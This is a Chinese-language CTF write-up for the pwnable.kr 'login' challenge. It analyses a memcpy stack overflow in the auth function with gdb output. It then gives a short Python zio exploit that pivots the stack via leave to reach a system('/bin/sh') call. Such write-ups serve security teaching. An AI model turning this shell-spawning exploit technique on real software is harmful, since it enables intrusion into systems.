0x1 准备工作
在分析这个题目时,我遇到了下面两个问题,先在这里说明一下:
1、 内存无法访问
gdb-peda$ si
Cannot access memory at address 0x61616165
gdb-peda$ si
然而程序并没有因此而停止,只是一个提示而已,可以继续使用si
命令进行单步跟踪。
2、汇编命令leave
leave
指令等同于下面两条命令(32位)
mov esp, ebp
pop ebp;该命令会将esp中的值给ebp,同时esp自身会+4
该指令执行完之后结果为:esp = ebp + 4
,ebp = [ebp]
。
例如:ebp = 0xff00
,内存0xff00
中的值为0x0011
,执行完leave
后,esp = 0xff04
,ebp = 0x0011
。
0x2 题目分析
题目有几点限制:输入的内容必须经过base64编码、解码后的内容长度不得超过12个字符。溢出点在函数auth中,当执行memcpy函数时,会造成栈溢出,覆盖后面的数据,如下图:
在上图中memcpy函数处下断点进行对比
执行memcpy函数之前,栈中相关数据
执行memcpy函数之后,栈中相关数据
我们提取出来框内的栈数据进行解释
0032| 0xbfb2a3e0 ("aaaa\204\222\004\b@\353\021\b\a\224\004\b\f")
0036| 0xbfb2a3e4 --> 0x8049284 ;这里是main函数的返回地址
0040| 0xbfb2a3e8 --> 0x811eb40 ;这里是main函数的栈顶esp
0044| 0xbfb2a3ec --> 0x8049407 ;这里是auth函数的返回地址
在调用0x8049284的时候,需要执行下面两条命令,需要向esp
中写入/bin/sh
,esp
必须为可写的地址。
.text:08049284 mov dword ptr [esp], offset aBinSh ; "/bin/sh"
.text:0804928B call system
0x3 溢出代码
from zio import *
import base64
def exp():
#io = zio(('pwnable.kr', 9003))
io = zio('./login')
raw_input()
io.read_until(':')
call_system = 0x08049284
input_addr = 0x811eb40
payload = 'aaaa' + l32(call_system) + l32(input_addr)
io.writeline(base64.b64encode(payload))
io.interact()
exp()
0x4 最后
感觉有些地方还没有表达清楚,大家见谅。谢谢龙龙的指导。